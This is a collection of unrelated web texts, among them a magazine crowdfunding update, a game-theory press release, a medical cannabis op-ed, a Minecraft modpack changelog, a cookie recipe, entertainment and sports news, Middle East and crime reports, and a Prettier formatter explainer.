wasn't a sexy instant gratification bonus for our backers, but it is essential for Year 2's issues to be able to be created with as much quality and care as possible – so far, all of NF Magazine's issues have been put together solely as a labor of love. But it's time to start paying this team, don't you think?  We did it! A full print run of Issue #1 has been funded by us hitting the $64,000 stretch goal, so a copy of our original debut issue will now be sent to every Year 2 subscriber for free!  We hit this last stretch goal with less than seven hours remaining in the campaign, so rather than us deciding what any extra money beyond $64k will go to support, we're going to let democracy determine how we use any surplus. After the campaign's over, we'll poll our backers and ask for your opinions about these three different Surplus Goal options:  If you want more posters beyond the one that will be included in Issue #8, let us know! If more consistent page count is your priority, vote for that! If you like us to explore the option of printing our issues on heavier stock, make your voice heard!  Questions? Comments? Concerns? Hit us up through the Get in Touch box at the bottom of the NFMagazine.com home page.  You guys rock!  Here's some background info for you. Back in December of 2012, Nintendo Power Magazine shipped its last issue. That got a lot of long-time Nintendo fans upset, as NP had been the one consistent and reliable print magazine covering Nintendo video games ever since the '80s. Some of us had been subscribers for over two decades, and there were still tens of thousands of active subscribers getting new issues delivered in the mail up until that final issue.  Well, we didn't want to see that legacy die. So we assembled a dream team of the most well known Nintendo journalists from around the world and launched a new magazine just a little over a year ago – the first issue went on sale on January 11, 2013, exactly one month after Nintendo Power ended.  Now, NF Magazine is not Nintendo Power. But we're carrying the torch forward into the future by paying homage to the best parts of NP's past while forging a new identity with an all-new team.  Want to check out some page previews, to see what NF Magazine has already done throughout the previous year? We've got a series of "Look Inside" pages available on NFMagazine.com for you to browse – clicking on any of the magazine covers below will let you jump over to our site and peek at several pages inside each one. You'll see some similarities to the old NP, and some things that are totally new and totally NF. All together, it's like a highlight reel of Year 1!  Nintendo Power’s final issue went on sale on newsstands on December 11, 2012. Exactly one month later, on January 11, 2013, the first issue of Nintendo Force went live. Made available only through the print-on-demand service of MagCloud and set at a steep price of $17.99 per copy (print-on-demand is expensive), the debut issue of Nintendo Force nonetheless overcame that obstacle of prohibitive cost and soared to shatter all of MagCloud’s sales records – it became the most successful single issue in the history of the site, with thousands upon thousands of copies sold (and more are still being added to that number daily). The incredible reception proved that an audience still existed hungry for Nintendo games coverage in magazine form, and propelled us to pursue subscriptions and enter production on a full year of follow-up issues.  How do you follow up such a huge success as our debut issue? By making a sequel issue that is itself all about sequels! Rather than just creating one magazine after another defined only by the time of their release, we established the practice of having an overall theme that guided the content of each new issue here with #2 – and the first theme was celebrating all the other #2s out there. We also featured Luigi as our cover star for the first time in “The Year of Luigi” (he’d go on to appear on two more covers before the end of 2013), and this issue was also the first to be offered to subscribers! Issue #1 was a standalone product, existing all by itself. Issue #2 is when subscriptions – both print and digital – first began, so anyone who signed up to join the Force in advance of #2′s release became a true NF Ambassador.  The team was really getting into the swing of making new magazine issues by the time we tackled our third, which appropriately featured the King of Swing himself on the cover. Donkey Kong’s connections to Hollywood’s legendary giant ape King Kong – along with the arrival of the 20th anniversary of the live-action Super Mario Bros. movie – inspired us to make our theme for this issue “Nintendo at the Movies.” This was also the issue that ushered in our NF Magazine iPad app, giving us a “third pillar” of distribution for new issues. (It was on like Donkey Kong.)  In the wake of a great showing for Nintendo at E3 2013, our hopes for the future of the 3DS and Wii U were high – so we embraced that spirit of looking ahead to tomorrow and combined it with a Mario & Luigi: Dream Team cover to create “Dreams for the Future” as our fourth NF Magazine issue theme. If you’ve been a fan of Nintendo for years and years like we have, you know that beyond actually playing Nintendo’s video games, the most fun you can have as a fan is speculating about what’s coming next from the company. What next sequel will be revealed? What developer will be the next to take on your favorite franchise? What crazy thing will Mr. Iwata say or do in the next Nintendo Direct video? Dreaming about the future is a blast, and we celebrated that fun in this edition.  With the simultaneous worldwide release of Pokémon X and Pokémon Y coming just around the corner, the Nintendo Force jumped straight into exploring what awaited trainers in the all-new Kalos region in our fifth issue, Pokémon Power! (We even went a little wild with the layout, as print issues featured a flippable cover – the mystical Fairy-type Xerneas represented Pokémon X on one side, while the destruction Dark- and Flying-type Yveltal posed menacingly on the opposite side.) You can check out both covers in more detail (along with page previews from inside the issue) by clicking the image above!  For our final issue of 2013, we were inspired by both the upcoming holiday season and the great variety of new multiplayer games that would be launching for Wii U and 3DS just in time to become Christmas presents for millions of Nintendo fans around the globe. So multiplayer became our focus, as we encouraged our readers to take advantage of the parties and family reunions that naturally happen around Thanksgiving, Christmas and New Year’s each year and enjoy some Nintendo game time with friends and family – playing games like Wii Party U, Mario Party: Island Tour and our cover game, Super Mario 3D World.
-Last year, University of Pennsylvania researchers Alexander J. Stewart and Joshua B. Plotkin published a mathematical explanation for why cooperation and generosity have evolved in nature. Using the classical game theory match-up known as the Prisoner’s Dilemma, they found that generous strategies were the only ones that could persist and succeed in a multi-player, iterated version of the game over the long term.  But now they’ve come out with a somewhat less rosy view of evolution. With a new analysis of the Prisoner’s Dilemma played in a large, evolving population, they found that adding more flexibility to the game can allow selfish strategies to be more successful. The work paints a dimmer but likely more realistic view of how cooperation and selfishness balance one another in nature.  “It’s a somewhat depressing evolutionary outcome, but it makes intuitive sense,” said Plotkin, a professor in Penn’s Department of Biology in the School of Arts & Sciences, who coauthored the study with Stewart, a postdoctoral researcher in his lab. “We had a nice picture of how evolution can promote cooperation even amongst self-interested agents and indeed it sometimes can, but, when we allow mutations that change the nature of the game, there is a runaway evolutionary process, and suddenly defection becomes the more robust outcome.”  Their study, which will appear in the Proceedings of the National Academy of Sciences, examines the outcomes of the Prisoner’s Dilemma, a scenario used in the field of game theory to understand how individuals decide whether to cooperate or not. In the dilemma, if both players cooperate, they both receive a payoff. If one cooperates and the other does not, the cooperating player receives the smallest possible payoff, and the defecting player the largest. If both players do not cooperate, they both receive a payoff, but it is less than what they would gain if both had cooperated. In other words, it pays to cooperate, but it can pay even more to be selfish.  Stewart and Plotkin’s previous study examined an iterated and evolutionary version of the Prisoner’s Dilemma, in which a population of players matches up against one another repeatedly. The most successful players “reproduce” more and pass along their winning strategies to the next generation. The researchers found that, in such a scenario, cooperative and even forgiving strategies won out, in part because “cheaters” couldn’t win against themselves.  In the new investigation, Stewart and Plotkin added a new twist. Now, not only could players alter their strategy — whether or not they cooperate — but they could also vary the payoffs they receive for cooperating.  This, Plotkin said, may more accurately reflect the balancing of risk and reward that occurs in nature, where organisms decide not only how often they cooperate but also the extent to which they cooperate.  Initially, as in their earlier study, cooperative strategies found success.  “But when cooperative strategies predominate, payoffs will rise as well,” Stewart said. “With higher and higher payoffs at stake, the temptation to defect also rises. In a sense the cooperators are paving the way for their own demise.”  Indeed, Stewart and Plotkin found that the population of players reached a tipping point after which defection was the predominant strategy in the population.  In a second analysis, they allowed the payoffs to vary outside the order set by the Prisoner’s Dilemma. Instead of unilateral defection winning the greatest reward, for example, it could be that mutual cooperation reaped the greatest payoff, the situation described by a game known as Stag Hunt. Or, mutual defection could generate the lowest possible reward, as described by the game theory model known as the Snowdrift or Hawk-Dove game.  What they found was that, again, there was an initial collapse in cooperative strategies. But, as the population continued to play and evolve, players also altered the payoffs so that they were playing a different game, either Snowdrift or Stag Hunt.  “So we see complicated dynamics when we allow the full range of payoffs to evolve,” Plotkin said. “One of the interesting results is that the Prisoner’s Dilemma game itself is unstable and is replaced by other games. It is as if evolution would like to avoid the dilemma altogether.”  Stewart and Plotkin say their new conception of how strategies and payoffs co-evolve in populations is ripe for testing, with the marine bacteria Vibrionaceae as a potential model. In these bacterial populations, the researchers noted, individuals cooperate by sharing a protein they extrude that allows them to metabolize iron. But the bacteria can possess mutations that alter whether they produce the protein and how much they generate, whether and how much they cooperate, as well as mutations that affect how efficiently they can take up the protein, their payoff. The Penn researchers said a “natural experiment” using these or other microbes could put their theory to the test, to see exactly when and how selfishness can pay off.  “After this study, we end up with a less sunny view of the evolution of cooperation,” Stewart said. “But it rings true that it’s not the case that evolution always tends towards happily ever after.”  The study received support from the Burroughs Wellcome Fund, David and Lucile Packard Foundation, U.S. Department of the Interior, U.S. Army Research Office and the Foundational Questions in Evolutionary Biology Fund
-A first step can be hard, joyful and wobbly. It takes courage, faith, determination and pure grit. House Bill 1 is a bit of all these.  Once HB 1 is signed into law by the governor, Georgia families will be able to use the oil from marijuana plants in the treatment of certain medical conditions, bringing relief and hope to many. Cannabis oil with THC has shown excellent results treating childhood seizures and many other conditions, including pain and appetite loss from cancer, ALS, multiple sclerosis, Crohn’s disease and sickle cell anemia.  HB 1 is an incredible first step, and it was a hard one. Proponents, including the governor, Rep. Allen Peake and Sen. Renee Unterman, should be commended for helping Georgia take this step. With their thoughtfulness and leadership, the next step will be easier.  Georgia will create a limited drug study program and a commission of experts to help resolve some of the issues that were left on the table — namely, the use of inhalers, creams, patches and smokable forms of cannabis/marijuana; and expanding the list of illnesses that can be treated, such as to autism and fibromyalgia.  There will be limitations on the ability of physicians to prescribe marijuana except in severe or final-stage illnesses. Physicians are also limited on the appropriate delivery system of medical marijuana. Many patients who might benefit from the use of medical cannabis have difficulty ingesting the oil or taking shots. For them, the ability to use an inhaler or apply a topical cream might be the only appropriate delivery method. A doctor, not legislators, should have the ability to prescribe the best method based on a patient’s illness and need.  Possibly the largest step not taken in HB 1 is addressing the federal penalties that still apply. Marijuana remains a Schedule I drug. Transportation of cannabis oil across state lines remains illegal, with penalties of five years’ imprisonment or a $250,000 fine for an individual and up to $1 million for a corporation selling across state lines.  Federal authorities have indicated they would not pursue charges against individuals using cannabis or marijuana for medical reasons if they reside within the state in which the product is manufactured. HB 1 prohibits the manufacture of cannabis oil or marijuana leaf products in Georgia, and families continue to run the risk of federal criminal activity transporting it home.  The shortcomings of HB 1 are not problems of intention, but execution. To legally obtain cannabis oil, a family or individual would still need to travel to a state where manufacturing is legal. That requires money or the continued splintering of family residences.  My hope is the new commission will make recommendations to perfect Georgia’s law and face head-on the matter of cannabis production in Georgia. Doing so is the only solution to ensure our citizens protection under the federal guidelines, and to ease fears of researchers who worry about losing grant funding.  It is time to face old fears and stigmas attached to marijuana, recognizing marijuana has real medicinal benefits.  All Georgians, regardless of age, geography or income level, should be able to get the medical relief they need. We should not get caught up politics, but provide suffering Georgians access to potentially life-saving medicine in whatever form necessary. We should do this without having to turn them into federal drug traffickers. The stakes are too high for our families not to get this right.  State Sen. Curt Thompson, D-Norcross, is a lawyer.
-Everything is Hostile has been updated to version 2.4c  Every mod in the pack has been updated to the latest version  pack now runs on forge 1558  We are now including FTBUtils for land claiming and admin tools  The return of chromaticraft!  foresty 4.0 updates, lots of new stuff here  binnies removed (for now until he updates)  HQM upgraded to 4.4.4, required all new reward bags  new recipes including Extreme crafting  harder difficulty settings  remove geostrata  New mods:  Chromaticraft  deadly world as well, silverfish turned waaay down.  gadomancy  Agricraft  specialAI  Fragile Torches  Loginsheild  FTBUTils  Avaritia (ExtremeCrafting)  Added looking Glass util for live render of your mystcraft portals!  Runic Dungeons mod added  What are We looking at Mod  Our own custom BBTweaks mod has been added to the pack. This adds the option for an ingame currency system for use with the tradebooths. the /bb command will grant breakbit daily which can optionally be configured to be used as fuel for chunkloading.  In addition BBtweaks disabled the Drill of the dead in favor of a new Ritual of Culling. Ritual of Culling works similar to Drill of the dead but it "culls the weak". It will not kill enemies that are buffed with potion effects such as those spawned on cursed earth, UNLESS you empower the ritual with magicales.  It also adds the new ritual Nature's Leech which will consume trees, grass, flowers in a radius around the altar to create blood. It's slower than the drill but much less costly to get up and running helping to transition from early to mid game bloodmagic.  Orechid and blood magic meteros have been buffed with new oregen and radius increases respectively.  New oregen changes to allow for more rewarding manual mining.  Further balance tweaks within recipes and all dungeon loot completely revamped to be more rewarding, no more pieces of bread and string in your end strongholds!  Big trees world generation has been tweaked to be less dense and to allow for generation of BOP trees  As always more to come, please report any issues on our github tracker https://github.com/breakinblocks/everything-is-hostile/issues  this pack now includes Fastcraft, a mod made by player, this mod is designed to improve many aspects of game-play. Some mod developers may not accept errors with this mod installed, please test them again with out Fastcraft in you instance. More information can be found here - http://forum.industrial-craft.net/index.php?page=Thread&threadID=10820
-Believe it or not I was newly introduced to Nutella only a few months ago. I have no idea how someone with a sweet tooth as bad as mine could overlook something so delicious for so long but I did. These cookies are so cute with their little peaks of Nutella. This recipe will make 24-30 cookies. This recipe is adapted from one by Martha Stewart.  Nutella thumbprint cookies  12 tbsp butter, softened  1/2 cup icing sugar  1 tsp vanilla  1 1/4 cups flour  1/2 cup Nutella  1 cup hazelnuts  Directions  Preheat your oven to 350 degrees. Line 2-3 baking trays with parchment paper.  Finely chop the hazelnuts. Set aside.  Using a hand or stand mixer, combine the butter and icing sugar. Beat for a few minutes until smooth.  Add the flour and mix until combined.  Form the dough into tablespoon sized balls. Roll each ball into the chopped nuts and place on the baking trays. Bake for ten minutes, remove from the oven and press a round teaspoon into the center into each cookie to make an indentation. Place back in the oven for another 7-10 minutes or until the edges of the cookies are lightly browned.  Place the cookies on a rack to cool.  Once the cookies are cool fill a pastry bag with the Nutella and pipe into the middle of each cookie.
-Liam Neeson Is Almost Done With Action Movies By Eric Eisenberg Random Article Blend Unknown, The Grey,  The Academy Award-nominee has recently been doing the press rounds for his latest action movie,  Maybe two more years. If God spares me and I’m healthy. But after that, I’ll stop [the action] I think.  While new potential projects can pop up at any moment, it's worth pointing out that right now Liam Neeson doesn't have any action films on his upcoming slate past Run All Night. His next film,  Of course, there is a big question left looming here: do we really want Liam Neeson to stop doing action movies? He's clearly still getting opportunities to do more serious/prestigious projects, and he's pretty damn great and believable as the gruff, kick-a-bad-guys-teeth-in protagonist. The opposite side of the argument is that he may not want the act to get too stale, and there's the matter of his personal health and physical abilities. It's worthy of debate!  Do you think Liam Neeson should starting exiting out of his action hero career, or do you want him to keep going forever? Answer our poll , and explain your point in the comments below. With the release of Taken in 2009, Liam Neeson wound up completely reinventing his career, fully embracing the role of the aging action hero. Finding incredible success with that movie, he has kept that money train rolling ever since, not only starring in two more Taken films, but also making features like The A-Team Non-Stop , and A Walk Among The Tombstones . But this extended run apparently now has a time limit on it, and Neeson has now declared that he will probably only keep it going for two more years.The Academy Award-nominee has recently been doing the press rounds for his latest action movie, Run All Night , and according to The Guardian he has admitted that he will probably stop doing so much cinematic ass-kicking when he hits the age of 64. Discussing the potential longevity of his career as an action star, Neeson said,While new potential projects can pop up at any moment, it's worth pointing out that right now Liam Neeson doesn't have any action films on his upcoming slate past Run All Night. His next film, Ted 2 , is a comedy that reunites him with Million Ways To Die In The West director Seth MacFarlane. He has also already completed work on A Monster Calls , a new drama from The Impossible director J.A. Bayona about a boy trying to cope with his mother's terminal illness. Most recently he has been playing a Jesuit priest in Martin Scorsese's heavy historical drama Silence - which reunites the actor and filmmaker for the first time since 2002's Gangs of New York. So if Neeson does plan on finishing out his action career in the next two years, he may want to start picking up some new titles.Of course, there is a big question left looming here: do we really want Liam Neeson to stop doing action movies? He's clearly still getting opportunities to do more serious/prestigious projects, and he's pretty damn great and believable as the gruff, kick-a-bad-guys-teeth-in protagonist. The opposite side of the argument is that he may not want the act to get too stale, and there's the matter of his personal health and physical abilities. It's worthy of debate!Do you think Liam Neeson should starting exiting out of his action hero career, or do you want him to keep going forever? Answer our poll , and explain your point in the comments below. Blended From Around The Web Facebook  Back to top
-A Palestinian wearing what appeared to be an explosive belt stabbed a Border Police officer in the upper body, moderately wounding him, in the West Bank city of Ramallah on Friday during a violent Palestinian protest, police said.  “A terrorist approached Border Police officers who were responding to a riot at the Judea and Samaria Square in Ramallah, and stabbed one of them,” police said, adding that they were investigating the possibility that the terrorist was “mingling with journalists and posing as a one” in order to get close to the troops.  The assailant was shot by the other officers at the scene and was seriously wounded. He later died of his wounds, the Palestinian Authority health ministry said, naming him as Mohammed Aqal, 29.  Get The Times of Israel's Daily Edition by email and never miss our top stories Free Sign Up  The apparent explosive belt did not go off. Police said they were investigating if it was a real bomb or only a device meant to look like one. The attacker, still wearing the apparent suicide bomb belt, was taken away from the scene for medical treatment by the Palestinian Red Crescent ambulance service. Later, Hadashot news said the suicide belt was a model that did not contain actual explosives.  The officer was treated at the scene and then taken to Jerusalem’s Shaare Zedek Medical Center, where he was listed in “a moderate condition with two stab wounds in the upper body.” The hospital said his condition was stable and he was undergoing examinations before being operated on.  Prime Minister Benjamin Netanyahu praised the security forces.  “I praise the work of the Border Police force that took out the terrorist,” Netanyahu tweeted, adding that he sends his wishes for a speedy recovery to the soldier who was wounded. “Thank you to our forces who protect us around the clock. Everybody salutes you.”  Once a mainstay of Palestinian terrorist tactics during the second intifada, suicide bombings have become exceedingly rare in recent years. The last suicide bombing occurred in April 2016, when a Palestinian terrorist blew up a bus in Jerusalem, killing himself and injuring 20 people, in an attack organized by Hamas.  Friday’s stabbing took place in the midst of a violent protest against US President Donald Trump’s recognition of Jerusalem as Israel’s capital last Wednesday.  Also Friday, a 30-year-old Israeli was lightly injured near the West Bank town of Hizme, outside Jerusalem, when Palestinians threw rocks at his car. He was treated at the scene by medics at the scene and taken to a Jerusalem hospital for treatment, the Magen David Adom emergency service said.  Palestinian media said that a number of protesters sustained light wounds after being hit by Israeli tear gas canisters and rubber bullets, but no serious injuries were reported as of Friday afternoon.  Following noon-time prayers, riots were reported in Ramallah, Bethlehem, Hebron, Qalqilya and Nablus. Demonstrators burned tires and threw rocks at Israeli troops, who fired back at them with tear gas and rubber bullets.  Hundreds of Palestinians also took part in protests throughout the Gaza Strip, according to local media.  While widespread, the protests initially appeared to be less violent than the previous week’s, and had fewer participants.  Hundreds of additional IDF soldiers were deployed across the West Bank and on the Gaza border ahead of the demonstrations against Trump’s proclamation.  Clashes were also expected in Jerusalem but following relative clam in the capital last week, police did not to impose any age restrictions on Muslim worshipers praying on the Temple Mount. At times of expected violence, Israeli authorities sometimes limit access to the site for young men, who are more likely to clash with police.
-How it works  Prettier formats your code in three steps:  First it parses the code to its abstract syntax tree (AST), getting ride of (almost) all the original formatting. Then it transform the AST into another tree using some opinionated rules to group code fragments in a hierarchy that defines where new lines can be inserted if necessary. Finally, it prints the intermediate tree to a string, choosing the best places to add line-breaks based on the max line length (the default is 80).  Let’s see, for example, how var x = foooo + baaar gets formatted.  First the input string is parsed to AST. The AST looks something like this:  The AST include details about “var”, “x”, “+”, “foooo” and “baaar”, but nothing about spaces, line-breaks, semicolons or any other stylistic stuff that doesn’t matter at runtime. This AST is used as input for the next step that generates a document tree like this one:  Here you can see again “var”, “x”, “foooo”, mixed with some spaces, semicolons and a few Prettier commands. The structure of this tree depends on the stylistic opinions of Prettier.  In this case, three Prettier commands are being used. line indicates that a line-break can be inserted if its needed, if not, a space will be inserted. indent increases the level of indentation (only if the content is printed on a new line). group marks items which the printer should try to fit on one line, if it doesn’t fit it will break the outermost group and try again. There are more commands, for example hardline identifies a line that will always be included in the output.
-I was out of the box early on the dust-up around the survival of the Export-Import Bank, but haven’t weighed in since it’s heated up, so allow me to briefly revisit. (You’ll recall that the Ex-Im Bank provides government-backed guarantees to private loans made to other countries under the condition that they use the credit to buy our exports.)  Note the figure in the link above, showing a pretty remarkable drop in Boeing’s share price on the day of Rep. Cantor’s surprise loss to Dave Brat (Cantor’s a supporter of the bank, and Boeing depends on the bank to boost its international sales; Brat’s a strong opponent). That blip says a lot: Brat had a point when he connected Cantor to Wall St., and Boeing is clearly dependent on the Ex-Im Bank.  Brat and the Tea Party are by no means alone in their opposition to the bank’s reauthorization. From what I’ve seen in recent days, punditry opposition from left, right, and center is outpacing support by a wide margin. At this point, I’m not sure if even Tim Howard could save the bank.  Not that the bank obviously needs saving, but neither is the case against it as slamdunkity as opponents claim. For example, running through the critiques is the assertion that the subsidies which the bank provides to American exporters are wasted: they’d make the same sales without them.  That may be the case, but I’ve seen nothing but assertions and no analysis. Keith Henessey, who doesn’t just want to end the bank—he wants to “Kill” it!—makes a point I’ve made as well: “Deep and liquid private credit markets exist today that did not exist when the Export-Import Bank was created in the 1930s.”  Certainly true. The global supply of loanable funds is much greater and cheaper than it was in the past. But neither he nor I nor anyone else knows if that means a developing economy can get an affordable loan of the magnitude needed to buy US-made airplanes. The Ex-Im Bank exists to offset the premium associated with that credit risk and it has done so effectively, in the sense of pricing its loan guarantees to account for the risk (i.e., it has not, on net, lost money on defaults).  That doesn’t mean it’s efficient or even that it deserves to live on. I join the opposition in their major critiques: it’s not clear why Boeing, GE, and other large American exporters need the subsidy, nor why rich countries need the USG to backstop their loans.  But assertion is not proof, and it would be better to test the international credit waters rather than do an experiment with full withdrawal, especially at a time when we very much need the labor demand generated by exports–and remember, we’re talking manufactured goods. Phase-out is also a better strategy given the other main defense of the bank, which is that as long as our competitors for international sales keep their similar credit-providing institutions up and running, we’re at a disadvantage if we drop out of this market. As one critic wrote, that’s not a principled defense, but I think it’s a pragmatic one.
-Spanish rider explains knee progress and reveals lingering elbow pain.  Dani Pedrosa’s road to recovery may have suffered a minor diversion when he collided with Alex de Angelis in Qatar, but the Spaniard believes that his fitness is steadily improving in the run-up to the Polini Grand Prix of Japan.  The injured star suffered a knock to his elbow when hit by the San Carlo Honda Gresini man in the opening race of the year, but Pedrosa is claiming improvement in the condition of his recently-operated knee.  “I’m looking forward to this weekend in Japan. My leg is improving all the time and the knee is gaining a little bit more mobility every day. I don’t have the full range of movement yet, but I think that by the time we get to Motegi I’ll have about ten degrees more of movement than in Qatar, which should make quite a big difference,” says the Repsol Honda rider as he previews the second race of the 2009 season.  “My elbow is also getting better after the hit De Angelis gave me in Qatar - there’s still some pain and stiffness but I hope it won’t be a problem in Japan. My priority is still to reach full fitness so that I can ride at 100 per cent, and then we must focus on the machine because I missed out on quite a lot of winter testing and we’re still not at the level we’d like to be. It’s a case of taking things one step at time - first to get full fitness and then improve the bike step-by-step.”  Pedrosa finished eleventh in the Commercialbank Grand Prix of Qatar, his lowest placing since the 2008 Czech Republic round.
-A Houma man was arrested after authorities searched his apartment Monday and found a cache of weapons, fake law-enforcement ID badges and several suspected bombs that turned out to be fake, authorities said.  A Houma man was arrested after authorities searched his apartment Monday and found a cache of weapons, fake law-enforcement ID badges and several suspected bombs that turned out to be fake, authorities said.  An estimated 40 people were evacuated from four buildings at the Landing at Bayou Cane apartment complex, 1803 Martin Luther King Blvd., after police found the suspected bombs. The residents were allowed to return about 6 hours later after authorities took the suspected explosive devices to a secure location, where they were detonated and determined to be fake.  Michael Hebert, 61, a resident of the apartment complex, is charged with possession of an illegal weapon, 19 counts of possession of a firearm by a convicted felon, 10 counts of unlawful possession of fraudulent documents and possession of a firearm with an erased serial number. He was in the Terrebonne jail this morning awaiting a bond hearing, the Sheriff's Office said.  The investigation was launched by the U.S. Secret Service after agents learned Hebert had bought counterfeit badges and credentials that represented him as a federal agent, the Sheriff's Office said today in a news release.  During a search of Hebert's apartment Monday afternoon, Secret Service agents and sheriff's deputies found several hundred counterfeit documents, badges and credentials that falsely identify him as belonging to law-enforcement agencies, including the FBI, CIA and the federal Bureau of Alcohol, Tobacco and Firearms, the Sheriff's Office said.  Hebert had illegally acquired 19 firearms and thousands of rounds of ammunition, which were also confiscated, according to the Sheriff's Office.  Outside the apartment complex Monday evening, law-enforcement agents and residents gathered.  “The (deputy) at the gate told me there was a guy in an apartment with bombs and grenades, and stuff to make them,” said Laveda Johnson, 41, one of those evacuated from their apartments.  Residents said they were evacuated about 2 p.m. and were allowed back into their homes around 8 p.m.  As a felon, Hebert is barred by law from possessing firearms, the Sheriff's Office said. He was convicted in 1990 for possession and transfer of a machine gun and wire fraud.
-This year I received a gift of ukiyo-e prints and another of Japanese poems. I was taking an Eastern art history class this semester, so it'll be great to have another resource for some great prints. :) I haven't had a chance to look at the poems too closely yet but it has the romaji transcript and the author's signature for each poem, which is amazing! Thanks for another great year of exchange.  Happy holidays!  P.S. To my Santa: I'm sorry for taking so long to post! I definitely, 100% THOUGHT I had posted, but as per usual brainfarted and forgot. Seriously though, thank you so much for another awesome year! I can only hope that this continues to be as awesome as it has been the last couple times.
-Samurai Jack fans, this is not a drill. If you are one of the thousands of have been patiently awaiting the fifth season of Samurai Jack, then you should know that your wait is almost over. Thanks to Adult Swim, fans now know when the show’s new season will premiere, and it is sooner than you think.  UP NEXT: Adult Swim Adds Samurai Jack Back To Its Lineup  During its nightly run, the late-night program played a special social media bump where it answered fans’ questions. When one fans asked whether Samurai Jack’s new season was still happening, this is what Adult Swim had to say. “March 11th, 11:30 p.m. is what’s going on,” the bump wrote. Then, when another fans asked about the show, the bump simply asked, “What did we just say?”  Of course, fans were wondering is the show’s comeback was going to be done sooner rather than later. Not long ago, Samurai Jack was added back to Adult Swim’s line-up in a marathon fashion. On January 14th, the show was re-aired on the program, and fans were elated to see the critically acclaimed series back on their televisions. Airing on Adult Swim’s Toonami, the Samurai Jack comeback had fans hyped last year when the network announced its development. The original series ran for four seasons from 2001 until 2004 and featured the time-traveling samurai prince as he fought against the shape-shifting demon Aku. Following the demon through time, the character assumed the name Jack once he traveled to a dystopian version of Earth to kill Aku before he could unleash unspeakable evil upon the universe.  The premiere of the new season of Samurai Jack has finally been revealed. pic.twitter.com/qicRjJOYD4 — Nate (@CabooseJr) January 23, 2017
-The Jon Jones business is picking up again.  Fresh off the announcement that his UFC suspension had been lifted, Jones has inked a new sponsorship deal with GAT, a leading manufacturer of sports nutrition products.  "I am very grateful to have such a terrific brand like GAT sponsor me as one of their athletes," Jones stated in a press release. "I look forward to working with TEAMGAT and to taking the GAT brand with me in becoming the number one name in MMA."  This is a significant milestone for Jones, who lost all of his sponsors, including newly-inked Reebok, following his arrest in April.  Slowly but surely, though, Jones has reemerged on social media, and while he has yet to do any interviews about the incident that led to his arrest earlier this year or his plea deal, it's clear that he is already gearing up for his comeback fight against Daniel Cormier later next year.  He'll now be doing so with a new sponsor by his side.  "I was thrilled when Malki Kawa called me to discuss TEAMGAT expanding to include MMA athletes and signing Jon Jones as our first," Mark Post, Vice President of GAT, stated. "I’ve been a fan of his since he entered the sport. Everyone at GAT is excited about signing Jon. The whole world will be watching when he gets back into action. TEAMGAT will be proud to be in his corner."
-Whether in the digital world of Neverwinter or on pen ‘n’ paper, every character is a unique avatar to adventure with. In Neverwinter, when you first create your adventurer, you’ll have a wide range of options to customize both stats and appearance.  advertisement advertisement  Character creation in Neverwinter starts with the D&D standby of choosing a Race/Class/Gender combo. We’ve already revealed a number of the races, and we’ve previewed a few classes, including the Control Wizard and the Guardian Fighter.  Your choice of race will give you some bonuses to your core stats – Strength, Constitution, etc. In addition, races unlock racial abilities, like the Versatile Defense ability for Humans, granting a bonus to your Defense. With these racial abilities, you can customize your adventurer towards your play style, giving you a better Critical Hit chance if you like flashy attacks, or granting you the extra resilience to wade into the thick of it.  Your stats are also customizable, both through your choice of race and through rolling. When you reach the ability scores section, you’ll be able to roll or reroll your scores, allowing you to build a stat line that matches your character’s concept. If your adventurer was the village bully before finding the study of magic, you can roll up Strength 12 for your Control Wizard.  The key ability scores in Neverwinter match those of Dungeons and Dragons: Strength, Constitution, Dexterity, Intelligence, Wisdom and Charisma. 10 in a stat is the adventurer’s average, with 18 (before racial bonuses) being the maximum for Level 1 characters.  Your choice of race also gives your stats some customization. Races give +2 to one primary stat, and +2 to one of two other stats. A Tiefling always gets +2 Charisma, for example, but you can choose whether to get an additional +2 to Constitution or to Intelligence. Build a well-rounded Control Wizard with Constitution, for instance, or specialize by adding it to Intelligence.  You’ll also be able to customize your character’s physical appearance. You’ll have the option of using several preset appearance packages or making deeper customizations. Page down for a list of customization options – please remember that this is not final, but it’ll help you get a sense of the scale of character customization.  If you’ve created a character in Champions Online or Star Trek Online, Cryptic Studios’ currently-live titles, you’ll have a sense of how many options you’ll have in Neverwinter. Make your character unique with tattoos, plenty of hairstyles, complexions and more – and that’s just in current test builds. When Neverwinter launches, your adventurer’s appearance can be as unique as her adventures.  With the dark and mysterious Tieflings, for example, character creation will let you really customize how infernal your character is. If she’s actively working to overcome her background, use some of the different horn variants and remove any tattoos and scars. You can also scale her eyes to be larger and more expressive, with a softer color.  Alternatively, if she’s embracing her bloodline’s cruelty, add some height with heels, plus slim and lengthen her hands for a classically knife-slender demi-demon. You can also set her up with a selection of tattoos, and you’ll be able to change their shape and color.  This is just the tip of the customization iceberg, too. Stay tuned for more Neverwinter news, including more about how you can craft your dream adventurer!  Appearance customization options:  Head Shape  Hair (shape and color)  Eyes (shape and color – some customizable per eye)  Eyebrows (fineness and color)  Facial Hair (shape and color)  Skin complexion and color – old/tan, weathered/black, etc.  (For certain races) Horn alignment  Facial tattoos and their color  Scar shapes  Sliders for your facial dimensions – neck length, cheek size, etc.  Sliders for your body dimensions – hand thickness, leg length, etc.  Read up on all of our recent Neverwinter info:
-0 of 14  Andy Lyons/Getty Images  The 10th week of the NFL season is in the books, which leaves us more than halfway through the 17-week schedule. Rookies have either carved out a role or are fighting to make an impact before the season ends. Our weekly rookie rankings continue to change based on recent play.  What is happening in the midst of their first seasons is still a potential indicator of how the next half-decade or so will play out. Players who impact their teams right away generally stick around and continue their positive influences. That shouldn’t take away from those who need more time to develop into solid players, though.  For this week’s rankings, we take a look at which players have performed the best to this point. Consideration has been given to where each rookie stands on his team’s depth chart, but the rankings aim to reflect how each player has performed thus far compared to what the expectations are. Production per snap is also important, since certain rookies have struggled to be good despite major opportunities.  Our rankings from even last week are now outdated, as Week 10 featured several standout performances. While some players are hitting their rookie wall, others are starting to hit their stride. Let’s take a look at the best rookies thus far.
-eyes and cutie mark are machine embroidered with files by  (me)  e is stuffed with poly-pellets and fiberfill.  The pattern is by  (me).  My artist mark is embroidered on her back right hoof. File by  .  I don't like to spam profiles with "Thanks for the !"  So, in advance:  equinepalette Art (c)(me)  MLP:FiM (c) Hasbro  If you like my work,  I'd love your support!  Get WIPs, early access, discounts,  tips and tutorials, and more!  Commission for I was asked to do a mare version of Snowdrop, so I decided to have a bit of fun and give her a unique eye shape! I love how they turned outQuite a bit of an improvement from my first attempt at Snowdrop a few years ago!Snowdrop is made from Baby Blue, Snow, and Turquoise minky.HerSh
